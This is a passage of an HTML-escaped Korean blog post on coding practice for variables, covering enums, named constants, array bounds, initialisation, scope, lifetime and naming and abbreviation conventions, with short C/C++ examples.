&lt;li&gt;컴파일러가 정수 또는 상수를 사용할 때 보다 타입 검사를 강력하게 할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;수정을 용이하게 하기 위해
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;기존 요소의 할당 값 변경 또는 새로운 요소의 추가가 용이&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;불린 변수에 대한 대안
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;불린 변수는 2가지만 표시할 수 있지만 열거형은 Status_Success, Status_Warning, Status_FatalError 등과 같이 다양한 값을 표현하기에 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;타당하지 않는 값 검사&lt;/li&gt;
&lt;li&gt;반복문의 범위를 지정하기 위해 열거형의 처음과 마지막 엔트리를 정의
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;연속되지 않는 경우 주의&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;열거 형의 첫째를 타당하지 않는 값으로 남겨둔다
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;대다수의 언어가 열거형의 처음을 0로 할당하므로 초기화되지 않은 변수(0일 가능성이 높음)를 잡는데 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;명명된 상수&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리터럴 대신 명명된 상수를 사용&lt;/li&gt;
&lt;li&gt;확실한 리터럴이더라도 명명된 상수를 쓰는 것이 좋다&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1591078528744&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;for (int i=1; i&amp;lt;12; i++) {
	profit[i] = revenue[i] &amp;ndash;expense[i];
}

// &amp;darr;&amp;darr;&amp;darr;&amp;darr;

for (int i=1; i&amp;lt;=NUM_MONTHS_IN_YEAR) &amp;hellip;
// or
for (int i=Month_Jan ; i&amp;lt;=Month_Dec; i++) &amp;hellip;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;배열의 사용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배열의 모든 인덱스가 경계 내에 있는지를 확인&lt;/li&gt;
&lt;li&gt;경계를 확인해 주는 언어(Java)가 있으나 그렇지 않은 것(C, C++)도 있다&lt;/li&gt;
&lt;li&gt;배열 대신 컨테이너를 사용하거나 배열을 순차적인 구조체로 생각하라&lt;/li&gt;
&lt;li&gt;배열의 마지막 위치를 확인&lt;/li&gt;
&lt;li&gt;다차원 배열에서 첨자의 순서가 정확한지 확인&lt;/li&gt;
&lt;li&gt;인덱스가 혼선(Cross-Talk)되지 않도록 주의
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) Array[i] 와 Array[j]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;C 또는 C++에서는 ARRAY_LENGTH 매크로를 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1591078732244&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#define ARRAY_LENGTH(x) (sizeof(x) / sizeof(x[0])
float consistency_ratio[] = {
	0.0, 0.0, 0.58, 0.90, 1.12,
	&amp;hellip;
	1.59
};
&amp;hellip;
for (ratioIdx = 0; ratioIdx &amp;lt; ARRAY_LENGTH(consistency_ratio) ; ratioIdx++) {
	&amp;hellip;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;변수 사용시 일반적인 문제&lt;/h2&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;능률적인 변수 정의 방법&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다른 모듈에서 정의한 변수를 사용하려면 반드시 선언
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;선언(Declaration)&lt;/li&gt;
&lt;li&gt;정의(Definition)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;명명 규약(Naming Convention)을 사용&lt;/li&gt;
&lt;li&gt;변수의 이름을 검사&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;부적절한 변수 초기화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변수에 값을 할당한 적이 없다&lt;/li&gt;
&lt;li&gt;더 이상 유효하지 않은 변수에 값을 할당&lt;/li&gt;
&lt;li&gt;변수의 일부에 값을 할당하고 나머지는 할당하지 않는다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;변수 초기화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변수가 정의될 때 초기화&lt;/li&gt;
&lt;li&gt;변수가 처음 사용되는 곳에 근접한 위치에서 정의 및 초기화&lt;/li&gt;
&lt;li&gt;가능하면 const 또는 final을 사용&lt;/li&gt;
&lt;li&gt;카운터와 누산기를 조심
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;재사용 전에 반드시 초기화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;객체의 데이터 필드는 생성자에서 초기화&lt;/li&gt;
&lt;li&gt;변수를 다시 초기화할 필요가 있는지 검사
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;반복문과 변수 사용시 주의&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;상수를 흉내내기 위한 변수들은 Startup() 루틴에서 한번만 초기화&lt;/li&gt;
&lt;li&gt;모든 변수를 자동으로 초기화해주는 컴파일러 설정 사용&lt;/li&gt;
&lt;li&gt;컴파일러 경고 메시지를 활용&lt;/li&gt;
&lt;li&gt;입력 인자의 타당성 검사&lt;/li&gt;
&lt;li&gt;부적절한 포인터를 검사하기 위해서 메모리 접근 도구 사용
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;Memory Leak Detection Tool 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;프로그램 시작시에 작업 메모리를 초기화
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;NULL(0), 0xCC(Intel CPU에서)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;변수의 범위&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변수에 대한 참조는 지역화
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;동일 변수에 대한 참조는 되도록 가깝게 유지&lt;/li&gt;
&lt;li&gt;변수들의 폭을 좁게 유지&lt;/li&gt;
&lt;li&gt;변수의 (평균) 폭이 작을수록 프로그램의 가동성이 좋다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 140px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 140px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 140px;&quot;&gt;[ 좋은 예시 ]&lt;br /&gt;a&amp;nbsp;=&amp;nbsp;0; &lt;br /&gt;b&amp;nbsp;=&amp;nbsp;0; &lt;br /&gt;c&amp;nbsp;=&amp;nbsp;0; &lt;br /&gt;a&amp;nbsp;=&amp;nbsp;b&amp;nbsp;+&amp;nbsp;c;&lt;br /&gt;&lt;br /&gt;[ 안좋은 예시 ]&lt;br /&gt;a&amp;nbsp;=&amp;nbsp;0; &lt;br /&gt;b&amp;nbsp;=&amp;nbsp;0; &lt;br /&gt;c&amp;nbsp;=&amp;nbsp;0; &lt;br /&gt;b&amp;nbsp;=&amp;nbsp;a&amp;nbsp;+&amp;nbsp;1; &lt;br /&gt;b&amp;nbsp;=&amp;nbsp;b/c;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변수의 수명을 가능한 짧게 유지
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;수명이 짧은 변수는 코드를 읽기 쉽고 변수의 잘못된 사용을 막는다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;변수의 범위를 최소화하기 위한 지침&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;루트(반복문)에서 사용되는 변수는 루트 바로 직전에서 초기화&lt;/li&gt;
&lt;li&gt;변수를 사용하기전까지는 변수에 값을 할당하지 않는다&lt;/li&gt;
&lt;li&gt;연관된 명령문을 그룹화&lt;/li&gt;
&lt;li&gt;연관된 명령문을 별도의 루틴으로 나눈다&lt;/li&gt;
&lt;li&gt;처음에는 가시도를 제한하고 필요한 경우에만 가시도를 넓힌다
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;private &amp;rarr; protected, package, pulic&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;변수의 지속성(수명)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 코드 블록이나 루틴에서만 살아남은 경우
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;코드 블록 또는 루틴에서 정의된 변수에 해당&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;허용된 동안 살아남은 경우
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;new를 이용하여 생성한 객체는 delete(C++) 또는 가비지 컬레션(Java)때까지 살아남는다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;프로그램이 종료할 때까지 남는 경우
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;static 변수 (C, C++, Java)&lt;/li&gt;
&lt;li&gt;지역변수&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;영원히(Persistent) 살아남는 경우
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;데이터베이스 또는 파일에 값을 저장하는 변수&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;바인딩 시간(Binding Time)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변수와 그것의 값이 서로 연결되는 시간
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;코드 작성시 바인딩(리터럴)&lt;/li&gt;
&lt;li&gt;컴파일시 바인딩&lt;/li&gt;
&lt;li&gt;실행시 바인딩
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;레지스트리 또는 파일 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;객체 생성시&lt;/li&gt;
&lt;li&gt;적시(Just in Time)
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예)윈도우를 화면에 그릴 때&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;바인딩 시간이 이를수록(늦을수록) 유연성과 복잡성이 낮아진다(높아진다)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;변수 사용시 주의할 점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 변수는 한가지 목적만을 위해 사용&lt;/li&gt;
&lt;li&gt;숨겨진 의미를 갖는 변수를 피하라
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;pageCount 변수는 값이 출력된 페이지 수를 표현한다. -1인 경우 오류를 표시한다.&lt;/li&gt;
&lt;li&gt;bytesWritten 변수는 출력 파일에 쓰여진 바이트 수이다. 하지만 이 값이 음수면 출력 파일에 사용된 디스크 드라이브의 수를 가리킨다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;정의된 모든 변수가 사용되는지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;[ 안좋은 예시 ]&lt;br /&gt;&lt;br /&gt;temp = sqrt(b*b-4*a*c); &lt;br /&gt;root[0]&amp;nbsp;=&amp;nbsp;(-b+temp)&amp;nbsp;/&amp;nbsp;(2*a) &lt;br /&gt;root[1] = (-b-temp) / (2*a)&lt;br /&gt;&lt;br /&gt;&amp;hellip; &lt;br /&gt;&lt;br /&gt;temp&amp;nbsp;=&amp;nbsp;root[0]; &lt;br /&gt;root[0]&amp;nbsp;=&amp;nbsp;root[1]; &lt;br /&gt;root[1]&amp;nbsp;=&amp;nbsp;temp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;[ 좋은 예시 ]&lt;br /&gt;&lt;br /&gt;discriminant= sqrt(b*b-4*a*c); &lt;br /&gt;root[0]&amp;nbsp;=&amp;nbsp;(-b+discriminant)&amp;nbsp;/&amp;nbsp;(2*a) &lt;br /&gt;root[1]&amp;nbsp;=&amp;nbsp;(-b-discriminant)&amp;nbsp;/&amp;nbsp;(2*a) &lt;br /&gt;&lt;br /&gt;&amp;hellip; &lt;br /&gt;&lt;br /&gt;temp&amp;nbsp;=&amp;nbsp;root[0]; &lt;br /&gt;root[0]&amp;nbsp;=&amp;nbsp;root[1]; &lt;br /&gt;root[1]&amp;nbsp;=&amp;nbsp;temp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;변수의 명명&lt;/h2&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;명명 규칙의 필요성&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다수의 개발자에 의한 공동작업을 수행하는경우&lt;/li&gt;
&lt;li&gt;다른 개발자가 작성한 코드를&amp;nbsp; 검토하거나 유지 보수하는 경우&lt;/li&gt;
&lt;li&gt;프로그램을 부분적으로 생각하고자할 때&lt;/li&gt;
&lt;li&gt;시일이 지난후 자신이 작성한 코드를 다시 검토할 때&lt;/li&gt;
&lt;li&gt;특이한 용어들이 많아서 코드 작성시 표준 용어 또는 약어가 필요한 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;좋은 변수이름을 위한 고려 사항&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변수의 의미를 완벽하고 정확하게 설명해야 한다&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 100px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;변수 의미&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;좋은 이름&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;나쁜 이름&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;날짜가 쓰인 유통중인 수표의 총계&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;runningTotal,&amp;nbsp;checkTotal&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;written,&amp;nbsp;ct,&amp;nbsp;checks,&amp;nbsp;CHKTTL,&amp;nbsp;x,&amp;nbsp;x1,&amp;nbsp;x2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;고속 열차의 속도&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;velocity,&amp;nbsp;trainVelocity,&amp;nbsp;velocityInMph&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;velt,&amp;nbsp;v,&amp;nbsp;tv,&amp;nbsp;x,&amp;nbsp;x1,&amp;nbsp;x2,&amp;nbsp;train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;현재 날짜&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;currentDate,&amp;nbsp;todaysDate&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;cd,&amp;nbsp;current,&amp;nbsp;x1,&amp;nbsp;x2,&amp;nbsp;date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;페이지당 행의 수&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;linesPerPage&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 20px;&quot;&gt;lpp,&amp;nbsp;lines,&amp;nbsp;x1,&amp;nbsp;x2,&amp;nbsp;l&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해결하고자 하는 문제 영역의 개념을 표현
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) 직원 데이터는 inputRec 보다는 employeeData를 사용, 프린터의 상태 표시하는 프래그는 bigFlag 보다는 printerReady를 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;적절한 길이를 사용
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;Too shart : 의미 불명확&lt;/li&gt;
&lt;li&gt;Too Long : 입력 불편, 코드 구조 파악 불편&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;짧은 변수는 Loop 카운터 또는 배열인덱스를 위해 사용
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) i, j, k 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 30px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;width: 25.814%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;너무 길다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 74.186%; height: 10px; text-align: left;&quot;&gt;&amp;nbsp;numberOfPeopleOnTheUsOlympicTeam &lt;br /&gt;&amp;nbsp;numberOfSeatsInTheStation &lt;br /&gt;&amp;nbsp;maximumNumberOfPointsInModernOlympics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;width: 25.814%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;너무 짧다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 74.186%; height: 10px; text-align: left;&quot;&gt;&amp;nbsp;n, np, ntm &lt;br /&gt;&amp;nbsp;N, ns, nsisd &lt;br /&gt;&amp;nbsp;M, mp, max, points&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;width: 25.814%; text-align: center; height: 10px;&quot;&gt;&lt;b&gt;적당&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 74.186%; height: 10px; text-align: left;&quot;&gt;&amp;nbsp;numTeamMembers, teamMemberCount &lt;br /&gt;&amp;nbsp;numSeatsInStadium, seatCount &lt;br /&gt;&amp;nbsp;teamPointsMax, pointsRecord&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;이름 공간(Namespace)&lt;span style=&quot;color: #333333;&quot;&gt;(C++)&lt;/span&gt;를 사용하여 변수 이름 충돌을 회피 (Java는 Package 사용)
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;한정자는 주로 변수의 끝에 위치시킨다&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;앞부분의 중요한 의미를 전달하도록&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;일관성을 유지하여 혼돈을 방지
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;totalRevenue &amp;harr; revenueTotal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;대칭적 이름을 작성하기에 유리
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;revenueTotal/expenseTotal, revenueAverage/expenseAverage 는 totalRevenue/totalExpense, averageRevenue/averageExpense 보다유리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;일반적인 반의어의 조합을 사용
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;begin/end, first/last, locked/unlocked, min/max, next/previous, old/new, opened/closed, visible/invisible, source/destination, up/downsource/target,&lt;/span&gt;&amp;nbsp;source/destination,&amp;nbsp;up/down&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;변수명의 축약 - 일반적 지침&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;표준 축약어를 사용 (사전에나오는)&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;불필요한 모음을 제거
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;예) computer &amp;rarr; cmptr, screen &amp;rarr; scrn&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;관사 및 접속사(a, the, and, or 등)는 제거&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;각 단어의 첫 문자 또는 처음 몇개의 문자를 사용&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;각 단어의 첫 번째와 두 번째, 세 번째 다음에 오는 것을 일관성 있게 자른다&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;각 단어의 처음과 마지막 문자를 유지&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;이름에서 가장 중요한 단어를 최대 세 단어까지 사용&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;쓸모없는 접미사(ing, ed 등)를 제거&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;각 음절에서 가장 뚜렸한 소리를 유&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;변수의 의미가 변경되지 않도록 주의&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;위의 기법을 반복적으로 적용&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;음성축약 &amp;larr; 비추천
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;highlight &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;hilite, before &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;b4, excute &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;xqt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;축약시 주의할 점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단어에서 한 문자를 없애는 방법으로 축약하지 말라 &amp;rarr; 노력의 감소에 비해가독성이 떨어짐
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) June &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;Jun&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;일관성 있게 축약&lt;/li&gt;
&lt;li&gt;발음할 수 있는 이름으로 생성
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) XPstn &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;xPos, ndsCmptg &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;needsComp&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;잘못된 발음으로 인한 조합을 피한다
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) 마지막 B를 나타내기 위해 BEND 보다는 ENDB, B-END, BEnd, b_end를사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;축약시 이름의 충돌을 방지하기 위해 동의어 사용
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) fired와 full revenue disbursal이 frd로 축약될 수 있음, 이경우 fired &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;dismissed &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;dsm, full revenue disbursal &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; &lt;/span&gt;complete revenue disbursal &amp;rarr; crd&lt;/li&gt;
